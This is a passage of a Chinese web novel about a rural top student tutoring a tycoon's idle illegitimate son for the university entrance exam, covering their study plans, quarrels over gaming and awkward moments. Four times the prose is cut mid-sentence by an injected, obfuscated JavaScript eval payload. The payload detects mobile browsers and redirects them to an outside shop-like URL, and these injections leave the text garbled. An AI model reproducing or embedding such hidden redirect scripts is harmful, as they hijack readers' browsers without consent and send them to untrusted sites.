“这个嘛……应该也没什么好隐瞒的吧。”老季面露一丝尴尬,“其实衍嘉少爷不是蔡先生和夫人的孩子,是‘外面的女人’生的。他从出生起就没有见过妈妈,一直是蔡先生请佣人照顾长大的。” 哦,向天问恍然大悟,蔡衍嘉是私生子,而且没有妈妈。 不知道为什么,得知这件事的一瞬间,向天问突然感觉心里一阵难受。 他也没有妈妈。从记事起,他爹、他姑,甚至村里人都告诉他,他妈受不了穷,生下他之后就跑了。 小时候,每当他半夜三更冻醒过来、冷得睡不着,或者清晨饿着肚子走五里山路去上学的时候,他总忍不住想,要是有妈妈,他会不会就不用这么苦了。 有钱人家的小孩,也会没有妈妈?有钱人家的小孩,没有妈妈也会受苦吗? 这么一想,他忽然就不生气了。蔡衍嘉那副吊儿郎当的模样、故意摔坏他手机的行为,好像也没那么令人讨厌了。 看样子,蔡衍嘉的富豪老爸也并不称职,根本没有真正关心过孩子,不然就不会连孩子是什么文化水平都不知道。 明明从来不管孩子,某天突然拍拍脑袋,提出个天方夜谭般的离谱要求,还不允许“讨价还价”,简直不可理喻!向天问猜想,即便联系上这个蔡先生,恐怕也难真正解决问题。 “那要不然……我再试试看吧。”向天问此话一出,自己都感到很惊讶。试什么试,连写字都不会,“0基础”,怎么教、怎么学啊! “辛苦您再想想办法,”老季起身郑重地与他握手,“就当帮帮衍嘉少爷,今天这种局面,也不是他的错。有什么我能做的,您只管开口。” 老季送他回书房,蔡衍嘉却不在那里。“少爷可能去健身了。”老季又领他来到一个他从没走到过的房间。 蔡衍嘉坐在一人多高的金属架前,光着膀子,正支着两条手臂费力地往胸前推杠子。 向天问瞧见他身上明显的肌肉线条,意识到这人并不像穿着衣服时看起来那样纤弱。 看见向天问进来,蔡衍嘉又露出没心没肺的笑容:“怎么样?联系上了吗?” 向天问心想,明知故问,你都联系不上你爹,我怎么可能联系得上,于是摇了摇头。 “其实没关系的。”蔡衍嘉一脸无所谓,“让你教,你就教,反正蔡家按时给你课时费;考不上是我自己的事,怪不到你头上。” 向天问的人生字典里第一次出现“考不上”三个字,这三个字莫名令他感到有些刺耳。 “那你到底想不想考上?”他直直盯着蔡衍嘉问道。 蔡衍嘉愣了一下,收起笑容说:“想啊,怎么不想。想就有用吗?” “你要真心想考,我就能帮你考上。”向天问撂下大话,自己却难免心虚,只得咬紧后槽牙,强装出一副胸有成竹的样子。 “谢谢你对我这么有信心。”蔡衍嘉又笑了,“我基础太差,赶不上的,我自己心里有数。要不,你去整整容,替我考?反正我们两人个子差不多高……” 向天问打断他无聊的玩笑:“你知道吗,其实我基础也很差。但只要真心想学,有正确的方法,踏踏实实努力,就能学好。” 这话一点儿也不假,向天问的确基础很差。他上的那个小学,老师是村支书兼任的,课本上的字都能念错。偶尔有来支教的大学生,总是教一两个月就走了,留下的一些教材和书籍,还被老师当宝贝收藏起来,不让学生们随便看。 刚到县里上初中的时候,班上有些同学已经学过几年英语了,他连26个字母都认不全。第一次英语测验,他一道题都不会做,晚上回宿舍把自己闷在被子里大哭了一场。 他没钱买课外资料,只能抄课本,一个词一个词地抄,一句一句地背;老师发现他的困难后,借给他一个旧MP3,里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646945|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拷了课本配套的音频,他就一遍一遍地听,一遍一遍地默写。 终于,初一上学期期末考试,他英语就能考及格了。可阅读理解的文章里还是有太多词他不认识,于是他又跟同学借了一本旧字典,开始背字典…… 彼时的痛苦与煎熬都已淡忘,那段经历反而成为向天问面对困难时的力量源泉。 如今他可以淡然而又笃定地对蔡衍嘉说:“我刚上初中的时候英语是0基础,经过三年的努力,中考英语差3分满分。” “我知道你想说什么:你没有三年时间。”向天问继续说道,“但你家老爷子只要求你考上本科,又没说必须明年就考上。据我所知,社会考生参加高考的次数是没有限制的,哪怕你真的三年后才考上,也不过才二十出头,能耽误什么事儿呢?” “今年一本线400分左右,你差240分。英语提高20分、其他每门课提高45分就行了。从100分提高到145分太难了,但从20分提高到65分还是很容易的。” “就拿数学来说吧,每年的高考数学卷都有至少100分的题目是基础题,是你把课本看懂了、吃透了就能拿到的分数。你只拿其中最简单的65分,很难吗?” 眼瞅着蔡衍嘉懒洋洋的双眼渐渐聚焦、燃起光彩,向天问也踏实了不少:“我那时候什么都没有,连参考书都买不起,只能自己想笨办法、下苦工夫;可你条件这么好、要什么有什么,我也会把我的经验和方法都告诉你…… “咱们就瞄准每一科最基础、技术含量最低的那部分知识,其他的都不用管,这你都做不到吗?” 蔡衍嘉看上去深受鼓舞,连脸颊都染上兴奋的红晕,点了点头道:“照你这么说,是没有那么难……可我没你这么聪明的脑子,我就是学不进去,怎么办?” 向天问大手一挥,断言道:“没有的事。你只要踏踏实实按我说的方法来,要是没有进步,我一分钱工资都不要!” 说完他又后悔了。胡乱承诺、夸下这些海口,逞什么强呢?他不知道今天自己是怎么了,满嘴跑火车、张扬得都不像他自己了。 蔡衍嘉也露出前所未有的坚定神情,噌的站起来,两手握住向天问肩膀:“向老师,你相信我,我也相信你!以后我都听你的,你说吧,要我怎么做?” “今天要做的事很简单:去把你那书桌收拾一下。”向天问认真道,“桌面清空,课本和真题卷整理出来,不需要的资料都扔掉。” 蔡衍嘉满不在乎道:“不用。明天周姨来,你让她把书房清理出来就是了。” 向天问便又皱起眉头,这是什么公子哥儿作风,懒成这样怎么学习? “你不是说都听我的吗?”他毫不客气,一把拽住蔡衍嘉手腕就往外拖,“走,现在就去收拾,我陪你去。” “哎呀向老师,我刚练完胸,累死了,明天再收拾吧,行吗?”蔡衍嘉不肯动。 “你刚才说得好好的,别想耍赖!给我走!”两人一个拖、一个赖,嚷嚷起来。 向天问无意间一扭头,只见老季正尴尬地站在房门口,手里还举着个手机。 “诶……向老师,蔡先生电话。” 5. 第5章 向天问的脸一下子红了。他性格板正,自来是个稳重的人,此时却和人拉拉扯扯,还被长辈瞧见了,怪不好意思的。 接过老季递来的手机,他“喂”了一声,却瞥见蔡衍嘉神色大变、笔笔直直站在那里,如临大敌似的。 手机里传来苍老的声音:“向老师,你好,我是蔡铭生。” “蔡先生,抱歉打扰您了。”向天问没想到这么快就能接到老爷子的电话,不免有些诚惶诚恐。 “阿川说,你想同我聊聊。我想,我们真的很有缘分,我也正好想同你通个电话。想必你已经了解到犬子的情况,你可能会觉得,我是不是老糊涂了,怎会异想天开、指望这样一个‘二世祖’考大学?”蔡铭生嗓音沙哑,语速很慢,似乎很虚弱,语气里却带着毋庸置疑的威严。 “不错,我知道这个任务对他来说,未免太过艰巨。我并非异想天开,而是想逼他一把、给他个机会证明自己咯。” 向天问能听得出来,蔡铭生已经尽量字正腔圆地说普通话,可粤语的咬字和腔调依然很明显。 “读书已经是最简单、回报率最高的事,试问一个人如果连这件事都做不好,这一辈子还能有什么出息?蔡家几代人辛苦创下的基业,绝对不能传给一个只会吃喝玩乐的废物!” 老爷子可能肺不太好,多说了几句话,喉咙里面就呼哧直响:“不过,我会尊重向老师的决定。如果你觉得帮不到他、不想浪费自己的时间,我当然也不能勉强。” “冒昧把你接来,是我考虑不周。既然来了,就多住几天、四处看看玩玩咯。我会派人帮你安排好一切,请你不要客气。我这个老东西,很想结交你这样的青年才俊,你就当多个朋友吧。” 向天问一时错愕,真的说不干就可以不干了,这么容易吗?可他刚刚才在蔡衍嘉面前撂下豪言壮语、许诺要帮人家考上大学,总不能出尔反尔,现在又说“算了”。 他赶忙表态:“蔡先生,抱歉,惊动您是我草率了。原本我是觉得,理科比较难,蔡同学基础差、很难有进步;不过刚才我同他聊过了,他说他愿意努力,我想我可以利用这个暑假,帮他先把简单的东西补起来……” “好,好。”蔡铭生似乎松了一口气,“那么,我这个不成器的孩子,就交给你了。你不要有顾虑,从今天起,你就代表我本人,蔡衍嘉如果偷奸耍滑、不听你话,你只管教训他。” 向天问正要把电话递给蔡衍嘉,却听对面撂下一句“多谢你了,向老师”,就匆匆结束了通话。 他把手机还给老季,老季冲他点点头,转身走了。原本站在那里像个兵似的蔡衍嘉,也随之肩头一塌、松懈下来。 “老爷子真喜欢你啊,聊这么久。”蔡衍嘉挑眉笑道,“对我,一年到头也没有几句话。” 向天问看出蔡衍嘉极力用笑容掩饰的失落,安慰道:“你爸爸对你寄予厚望,所以比较严厉。” “呵,是吗?”蔡衍嘉拽过一件T恤往身上套,冷笑道,“要不是大号练废了,他才不会多看我一眼。” 不过搬出老爷子确实管用,这下蔡衍嘉不再啰嗦,乖乖跟着向天问回到书房。 “目前我们只需要各科课本和高考真题卷。”向天问重复一遍任务,“其他资料都放在地上,把桌面腾出来。” 蔡衍嘉发出一声疲惫又无奈的叹息,站在书桌前开始翻腾。 向天问在一旁静静看着,默默思忖道,听电话里的意思,蔡铭生对这个儿子并不满意,却不得不让他继承家业,这才想用考大学的任务锻炼他、考验他。 老季说蔡衍嘉上面有哥哥、姐姐,蔡衍嘉却说“哥哥出事了”。向天问不禁好奇,蔡衍嘉的哥哥究竟出了什么事,蔡家继承人的重任,为什么突然落到他这个“废物”私生子头上? 向天问想了想,掏出还不太熟悉的手机,摸索着找到浏览器,输入“蔡铭生”这三个字。 屏幕上跳出一行行新闻标题:“香江医药大王”、“百亿药企豪门”……往下一划,又看见这么一条:“蔡氏太子爷毒趴被捕,爱国企业家狠撇个仔”。 向天问暗暗吸了一口凉气,点开链接细看,原来蔡铭生与夫人生的长子名叫蔡衍诚,是香江数一数二的豪门太子爷。这人样貌好、智商高,从小在国外长大,名校硕士毕业后回到家族企业做事,小有成绩。十几年来,他一直是蔡氏当仁不让的继承人,也是名利场上人人趋之若鹜的黄金单身汉。 与其他纨绔子弟一样,蔡衍诚也是个“玩咖”,谈过几任“鬼佬”女朋友,还和不止一位女明星传过绯闻,四十几岁了还没有成家。当然,这点小事在他们那个圈层根本不算什么。 直到去年跨年夜,警方收到线报,在香江半山别墅区一幢豪宅里查获一群聚众吸毒开趴的富家子弟。小报记者拍到的照片里,最醒目的就是精神涣散、衣冠不整的蔡衍诚。 消息爆出后,蔡氏股价暴跌,蔡铭生出面召开记者会,声明剥夺蔡衍诚的继承权,甚至当场洒泪,说“今后就当没有这个儿子”。 报道还说,蔡氏一向与官方合作密切,准继承人被爆涉毒,等于踩了红线,为保住百亿江山,蔡铭生不得不壮士断腕,狠心放弃爱子是不得已之举。 向天问读完报道,抬头看看书桌前手忙脚乱、一脸单纯的蔡衍嘉,突然理解了蔡老爷子的决定。 蔡衍诚可能是在国外读书时就结交坏朋友、染上了恶习。蔡铭生痛失继承人,一定对腐化爱子的西方社会深恶痛绝;如今只剩蔡衍嘉这一根独苗,他生怕小儿子重蹈覆辙,哪里还敢把人放在国外? 世界上没有哪一个国家能像我们这里一样,几乎所有半大孩子都生活在一个远离毒品、暴力和一切邪恶诱惑的纯净环境。蔡衍嘉回国内卷高考,即便最终考不上什么好大学,最起码不会学坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646946|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、走上歪路。 向天问不禁对蔡老爷子冷漠外表下的拳拳之心感同身受,也又一次下定决心,说不定从苦难的泥泞中走出来的他,真能帮蔡衍嘉、帮后继无人的蔡氏创造一个奇迹。 “好了,向老师。”蔡衍嘉两手叉腰,吐出一口气道,“都找出来了!” 向天问把手机揣回兜里,来到桌前检查蔡衍嘉将近一个小时的劳动成果。桌面看起来清爽不少,地上却横七竖八铺满了各种参考书和卷子。 蔡衍嘉眨巴着大眼问他:“任务完成了吧?我可以去洗澡了吗,向老师?” “那地上这些呢?”向天问并不满意。 “地上的东西,明天周姨会来处理。要是着急的话,你让老季拿出去丢掉就是了。”蔡衍嘉满脸不耐烦,“我要去洗澡了,等会儿还有事呢!” 向天问心想,你有什么事,你现在唯一的事,就是好好学习。不过也行,他心里盘算道,洗完再来讨论明天的学习计划不迟。 “好吧,那你洗完再来……” 他的话才一出口,蔡衍嘉已经迫不及待地转身走了。 向天问只得在书桌前坐下,又翻开蔡衍嘉鬼画符一般的试卷,耐着性子仔细研究起来。 书桌对面的装饰板上挂着一个没有刻度的时钟,他时不时抬头看一眼。十分钟过去了,二十分钟、三十分钟……分针几乎转了一整圈,都快一个小时了,蔡衍嘉还不见人影。 这是要把皮洗掉一层吗?向天问等不及了,起身离开书房去找人。他记得离客厅最近的房间最大,主卧应该是那里。 果然,刚走到房门口,就听里面传来蔡衍嘉的喊声。 “上车啊,人呢……没有,我真没看见……又来了又来了,走走走……不是宝宝,你这什么走位……” 向天问以为他是在和人通话,打算在门口站了一会儿,等他打完电话再叫他,可听着听着,就听出不对劲儿来。 “……我就说不要选遗迹吧,还是去莎迷……你这水平肯定都集火你啊……我不想和陌生人玩……要不算了,你该吃饭了吧……好好,还是雨林吧,嗯……没有,这不陪你上分吗宝宝……好了我开了!” 这是在和人打游戏?!他还在那儿傻等呢,这货倒玩上了!向天问顿时气不打一出来,没多想,便径直冲进屋里。 却见蔡衍嘉赤条条趴在房间当中的大床上,两条小腿竖起来交叠在一起直晃悠。 向天问被雪白的两团肉晃得眼都不敢睁,下意识“嘶”了一声。 “向老师?!”蔡衍嘉猛地回头,慌手慌脚拉过床单遮住身体,“不是,你……” “你不穿衣服?!”向天问脱口质问道。 “这是我的房间!”蔡衍嘉都气笑了,“你管我穿不穿?” 向天问自知理亏,却着实窝了一肚子火,只得一步一跺脚,气鼓鼓地冲回自己房间。 6. 第6章 丢死人了,怎么就是记不住呢?向天问关上房门,懊恼地抱头坐在书桌前。 他不是第一次干这种蠢事了。刚上高一那年,班上曾经有个和他关系不错的男同学,名叫邱越峰。邱越峰的父母都是县政府的干部,家庭条件比他好很多。 向天问每次考全年级第一,邱越峰考第二。他俩都是大方坦荡的敞亮人,所以并不存在太激烈的竞争和倾轧。相反,有时候邱越峰遇到有意思的题,还会拿来跟他讨论。 有一天,邱越峰给向天问看一道外面奥数班布置的拓展题,两人课间讨论了一番,没讨论出结果。向天问劲头上来,中午饭都没去吃,回宿舍冥思苦想了二十多分钟,终于有了思路。 急着分享成果、一时激动,他拿着草稿纸穿过走廊,径直推开邱越峰宿舍的门。 眼前的一幕却令他大吃一惊。邱越峰坐在床前,脸上蒙着一件蓝白相间的球衣,裤子刚褪了一半。 球衣是校足球队统一定制的款式,可邱越峰并不是校队成员,和他同宿舍的另一个男生才是。 向天问慌张夺门而出,回到自己宿舍才发现,那两张草稿纸没带回来。 他正尴尬地不知如何是好,邱越峰一脚踹开他宿舍门,将那两张纸甩在他脸上,歇斯底里般冲他吼道:“你他妈有没有素质?艹你妈的农村狗!敲门都不会吗?懂不懂什么叫隐私?” 他无言以对,仓皇之下连一句“对不起”也没来得及说。 那是邱越峰最后一次和他说话。此后,两人便有意无意地避免接触,选科时邱越峰选了政史地,更是没有了打交道的必要。 那是向天问唯一一次几乎要拥有友情,最终却因自己的冒犯之举落空。又或者是已经获得了友情,却因自己的冒犯之举失去了?后者比前者对他来说更痛苦一些,所以他更愿意相信是前者。 向天问怀疑上天有意捉弄他,几年后的今天,他又因为同样的缘故得罪了刚见面不久的蔡衍嘉。 他猜想,城里人确实比农村人有着更远的社交距离,对个人空间和隐私权的要求也更高。是贫穷和落后给他打下的深深烙印,使他永远记不住推门之前先敲门。 窗外车水马龙的繁华夜景,令他倍感疏离。他忍住委屈,在心里对自己说,向天问,勇敢一点,做个有担当的人吧。 他掏出鎏金似的高档手机,小心翼翼地打开微信,点击那个新加的头像。 “对不起,我应该先敲门的。冒犯你了,真不好意思。” 信息发出去后,向天问感觉浑身的力气都被卸掉了,便挣扎着起身,仰面躺在他睡过的最大、最舒服的床上。 一分钟,两分钟,三分钟……五分钟过去了,就在他将要绝望之时,手机终于响了一声。 蔡衍嘉回复了三个点,也就是半个省略号。 这应该是表示无语、不想再理他的意思?向天问心口一跌,打出一行字:“明天我会向你父亲说明是我的错,这个工作我还是……”而后又通通删掉。 蔡衍嘉未必想让他爸爸知道发生了这种事,这么说岂不又侵犯人家的隐私权了? 正犹豫着,屏幕上噔噔一声弹出一条消息,是一条语音。 “刚才我是因为洗完澡、着急上号,没来得及穿衣服……哈哈,看就看咯,还好最近臀练得不错。” 向天问接连听了几遍,蔡衍嘉的声音一如既往,带着三分散漫、七分满不在乎,竟还尬笑了一声。 确实,曲线是很明显,很圆、很翘。向天问莫名感到耳根发热,举着手机不知该如何回应。 “你玩战争精英吗?”蔡衍嘉很快又发来一条语音,“帮我练个号?有主播带。” 这是不生他气的意思?向天问一颗心落地,急忙回复:“我不玩游戏,感觉很浪费时间。” 蔡衍嘉又发来三个点。 向天问顿时又后悔了。干嘛要说“浪费时间”?这话显得是在批评人家。 不过打游戏确实浪费时间,向天问暗自嘀咕,本来就只有一年的时间,应该争分夺秒搞学习才是。 可此时他正感到十分庆幸,对不因他的冒犯而生气的蔡衍嘉满心感激,也就没有心思去管理蔡衍嘉不务正业的行为。 明天再说吧,向天问将双手枕在脑后,卸下肩头重负。可不知为何,心里却怎么也平静不下来,仿佛有什么连他自己都看不清楚的隐秘心事,一直悬在心头,令他静不下心来。 他只好爬起来回到书房,从地上那一堆几乎都没怎么写过的习题册、密卷里,找到一套远超蔡衍嘉水平的物理题带回房间。 两个带电粒子在磁场中旋转、碰撞,简洁而优美的运动轨迹,在他脑中绘出一副令人迷醉的动态图画,他终于眼皮发沉,依依不舍地睡了过去。 第二天一大早,向天问就被生物钟叫醒了。不是他生活习惯有多好,而是在农村,有些活必须大清早干,比如给院子里那几垄菜浇水。大夏天的,一旦等到太阳升起,浇下去的水很快就会被晒干,菜苗喝不了多少。 他辛辛苦苦种的菜,在他走后,很快就会渴死、晒死,被杂草淹没。向天问想,人比菜坚强,像他这样从未被悉心浇灌照料过的人,竟能好好儿地活到现在,想想真是挺奇妙的。 老季也起得很早,向天问走进厨房时,看见他正往锅里倒油,旁边菜板上码着两堆切好的香菇丁、火腿丁。 “天问早啊。”老季始终面带微笑,“昨天我让周姨多做了些米饭,想着今天早上炒个饭。有点简陋,你不介意吧?” “不介意不介意,挺好的!”向天问心想,哪里简陋,这已经比我吃过的大多数早饭豪华太多了。 “你昨天没怎么吃饱吧?”老季又笑道,“我像你这么大的时候在部队,一顿吃半斤饭还总觉得欠点儿。” 原来老季当过兵,怪不得。从见面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646947|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一刻起,向天问就感觉这个人一举一动格外端正利落,与一般人不太一样。 “季叔你在哪儿当过兵?”向天问好奇道。 “原来在南海,后来选上驻港。”老季轻描淡写道,“转业后和几个战友合开了一家安保公司,结果没做起来;碰巧遇到蔡先生,就跟着他混口饭吃。” 向天问点点头,心道果然,蔡老爷子派这样的人“看守”蔡衍嘉,可不就是怕孩子学坏嘛。他不禁暗自有点小骄傲,老爷子放心让他这个陌生人来给宝贝儿子当家教,说明人家对他的人品是很认可的。 老季打了四个蛋,把半锅冷饭倒进油里,炒得焦香扑鼻。 这顿饭终于吃得饱饱的,向天问回到书房,等到八点多,却还不见蔡衍嘉人影。 一日之计在于晨,早上这几个小时学习效率最高了。他越等心里越不踏实,只好掏出手机,给蔡衍嘉发条信息,问:“起来了吗?” 没有收到回复。九点多、十点多,他又发了两条,依然石沉大海。直到时针指向十二点,老季来叫他吃午饭。 他来到餐厅,这才看见蔡衍嘉迷迷瞪瞪地坐在餐桌边、眼屎都没擦。 昨晚怀揣的点滴感激之情,被一上午的虚度消磨殆尽,向天问有些不高兴了:“你昨晚几点睡的?” 蔡衍嘉开口前打了个大哈欠,有气没力道:“三点多吧,四点?” 向天问惊讶地直瞪眼:“你打游戏打到凌晨四点?” 蔡衍嘉一手揉着山根,仍未觉得有什么不妥:“还好你昨天没上,我天,你不知道我们遇到什么傻缺……” “一年的时间本来就很紧张,你还有工夫打游戏?”向天问一脸严肃,“每天上午、下午至少要各有四个小时学习的时间。劳逸结合没问题,你想打游戏,可以在每天上午学习结束之后,中午适当玩半个小时、一个小时,晚饭后也可以稍微放松一下,不耽误晚上背书就行。” 蔡衍嘉愣愣看着他,花了许久才弄明白他的意思,嘴角抽了抽道:“半个小时怎么玩?再说,我搭子在英国,有时差,不是我什么时候想玩就玩得起来的,好吗?” “那就别玩了。”向天问不客气道,“我觉得你现阶段最重要的是备考,游戏的事可以放一放。跟你朋友说一下,一年后再找你玩。真正的朋友应该能理解你的处境吧。” “你当我是小学生吗?下一步是不是要没收我的手机啊?”蔡衍嘉不以为然,竟还嬉皮笑脸的。 “不排除这种可能性。你父亲电话里说了,我可以代表他,我有这个权力。”向天问原本不想说出这么伤感情的话,可看他这吊儿郎当的态度,不搬出老爷子不行了。 蔡衍嘉听了这话,脸色陡然一变。 向天问也意识到这话有些生硬了,刚想补两句缓和一下,却见蔡衍嘉脸上又荡漾起满不在乎的笑意。 “好的,爸爸,我会乖的,爸爸。” 7. 第7章 向天问几乎不敢相信自己的耳朵,他自认为还算好用的脑袋,怎么也想不到蔡衍嘉会是这种反应。 原本攒了一肚子义正词严的话,瞬间却如泄了气的皮球一般,一个字也说不出口了。 蔡衍嘉露出得逞的笑容,还冲他挑了挑眉。 这时老季端着一盘鲜香扑鼻的大菜上桌:“六月黄下来了,周姨的拿手好菜。” 是螃蟹,很小的螃蟹对半劈开,炒得金黄流油,底下还衬着洁白水润的年糕。向天问顿时口舌生津,眼都看直了。 他从没吃过螃蟹,这东西应该挺贵吧?为了不表现得太馋,他故意先夹两筷子别的菜,等蔡衍嘉吃过了螃蟹,他才去夹。 向天问学蔡衍嘉用筷子头挑出蟹黄,和一勺米饭一同入口,嚼得齿颊生香。 太好吃了,怎么会有这么好吃的东西!过去的十几年人生中,吃饭对他来说只是为了活着必须完成的一件任务,他从没想过饭菜可不可口、健不健康,能吃饱就已经很好了。 一夜之间天翻地覆,他不仅不用为下一顿饭在哪里而发愁,甚至产生了“这个比昨天那个好吃”的奢侈念头。他不由得心生愧疚惶恐,更觉得不能辜负蔡老爷子对他的托付。 于是吃过饭,他根本不给蔡衍嘉偷懒的机会,而是跟着人家回到房间,盯着蔡衍嘉洗脸刷牙。 蔡衍嘉还在擦手,他就迫不及待开口道:“要补的科目太多了,时间有限,我们只能采取各个击破的办法,先攻下一门。就从你最擅长的英语开始吧。” 蔡衍嘉冲他流眸一笑:“向老师很懂嘛!真没打过游戏?” 向天问不搭理他,继续说道:“能考98,说明你基础不错……不,应该说基础很好了。你错的题,主要是语法和长难句逻辑分析,还有速度。我看到你最后的扩写没做,是时间不够吗?” “不是。”蔡衍嘉仍只是笑,“太累了,睡着了。” 说话间两人已来到书房。地面、桌面都分外干净,除了几本卷册、两支笔,别的什么都没有。蔡衍嘉环顾四周,露出惊讶的神情。 “你买了那么多资料,真正看过、做过的屈指可数。”向天问说道,“其实英语冲120,只需要以真题为准,把语法过一遍、查漏补缺,再背十几篇作文模版就行了。以你的基础,真的不难。” “每天刷一套真题,把错题整理出来,遇到哪个语法知识点,我们当天解决。一周时间就能看到提分效果。” 蔡衍嘉眨巴眨巴眼看着他,漫不经心地点点头。 “你不相信吗?”向天问提了提嘴角,“你认认真真按我说的做,一周之后刷不到110,算我没本事,我提包就走。不过前提是,你这周不能再熬夜打游戏了。” “哦。”蔡衍嘉撇了撇嘴,乖乖坐在书桌前。向天问也拖来一把椅子,坐在他身旁。 “我们就从你做的复盘卷开始吧。你看,这道完形和这道选择,其实都是在考虚拟语气,你都错了。那我们就把这本语法书上的虚拟语气一节过一遍……”向天问翻开早就准备好的参考书,用笔点着,给蔡衍嘉讲解。 讲着讲着,忽然感觉蔡衍嘉眼神离开书本,瞟向别处。他扭头看去,却见蔡衍嘉盯着他后脖颈,正咧着嘴笑。 “你看什么呢?看书啊!”向天问用笔敲敲书本。 “向老师,你平时出门不涂防晒霜吗?脖子后面好黑呀。”蔡衍嘉说着,竟伸手在向天问后颈摸了一下。 向天问顿时起了一身鸡皮疙瘩,缩着脖子直往后躲。 不是说城里人都有“社交距离”的吗?他大为震惊,这人怎么随随便便动手动脚的? 蔡衍嘉笑道:“干嘛这么大反应,我看看你是不是晒伤了。” “能不能专心点儿?”向天问耳根发烫,尴尬道,“别看我,看书!” “你有没有发现,你错的这道题,和语法书上这道练习题,其实是一回事。事实上,虚拟语气就这么几种考法,顶多加个完成时、加个从句,本质上还是一样的。你把书上这几题练会了,以后就不用在这里丢分了……” 他提高音量,既为拉回蔡衍嘉的注意力,也为使自己定下心来。可无论怎么努力,他始终能感觉到蔡衍嘉的目光一次次在他脸上停驻,害得他愈发不自在,额角都渗出汗来。 向天问分心忖道,原来并不是只有城里人才需要“个人空间”,他这个“农村人”也需要;蔡衍嘉这个张牙舞爪的家伙,侵犯了他的“个人空间”! 好在蔡衍嘉脑子并不笨,讲过的题一触即通,再做就不会错了。一个知识点轻松攻破,向天问踌躇满志,两人短暂休息、喝了点水后,他便又开始讲“现在完成时和现在完成进行时的区分”。 此时墙上挂钟的指针刚过两点,放在桌角的蔡衍嘉的手机,突然“叮咚”响了一声。蔡衍嘉迅速拿起手机,旁若无人地摆弄起来。 “叮咚”、“叮咚”。提示音接连响起,蔡衍嘉拇指飞舞。这是聊上了? 向天问一句话正说了一半,听众朋友就被手机夺走了。他皱眉用指尖叩了叩桌面,提醒蔡衍嘉回来看他讲题。 “马上,马上!”蔡衍嘉头也不抬,直到发完一条信息,才把手机放回桌角,抬头冲向天问笑笑,“好了!” “你可以把完成进行时也当作进行时的一种,它强调过程的持续……”向天问继续讲解。 可短短十几秒后,桌角便又传来两声“叮咚”。 没等蔡衍嘉伸手过去,向天问就没好气道:“有什么急事儿吗?” “没有,没有。”蔡衍嘉收回手,心虚似的笑了。 “那就先把这页看完,等休息的时候你再回复,行吗?” 蔡衍嘉听了这话,只得乖乖坐好听讲。可手机却不听话,兀自“叮咚”“叮咚”响个不停。 向天问可以不受干扰,蔡衍嘉却如坐针毡,还发出一声声焦躁的叹息。 这副抓耳挠腮的样子,哪还听得进去课?十几分钟后,向天问终于忍不住问道:“你女朋友?” “嗯?”蔡衍嘉一愣,摇头否认,“不是,我搭子,男的。” 向天问这才明白,是叫蔡衍嘉打游戏的人。游戏真是害人不浅,看把人勾得,像个猴儿似的。正要开口说他几句,手机铃声响起,语音电话打过来了。 这下蔡衍嘉彻底坐不住了,急忙站起来,拿着手机就往外跑。出房间的那一刻,还冲着手机叫了声“宝宝”。 和游戏搭子这么亲吗?向天问无法理解,“搭子”这两个字,却引起了他的注意。 昨天听蔡衍嘉说过,“搭子”在英国。他掏出手机搜索“英国和中国时差”,正好7小时。 简单的算式迅速划过向天问的脑海:蔡衍嘉凌晨4点睡,英国那边是晚上9点;现在北京时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646948|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间下午2点半,英国正好是早上7点半,“搭子”起床了。 所以蔡衍嘉熬着大夜陪“搭子”玩,人家“搭子”生活作息倒挺健康,什么也不耽误。 这什么人啊,太自私了吧!向天问暗自嘀咕道,蔡衍嘉怎么这么没脑子,这个“搭子”明显没把他当朋友,一点儿也不替他考虑。 门外走廊里隐约传来蔡衍嘉时高时低的说话声,好像在跟电话那头的人争论着什么。 向天问想,对面八成也是个闲出屁来的富家子弟。如今蔡衍嘉回国发展,应该和这些人断了才好。 听着蔡衍嘉的语气越来越像吵架,向天问猜测,可能是在和“搭子”说以后不搭了吧。于是他安下心来,准备这个考点讲完之后就让蔡衍嘉放松一下、做篇阅读练练手感。 可这一等,竟等了半个多小时。外面的声音渐小,向天问不禁起疑,这么长时间还没吵完?不会没断成、又打上游戏了吧? 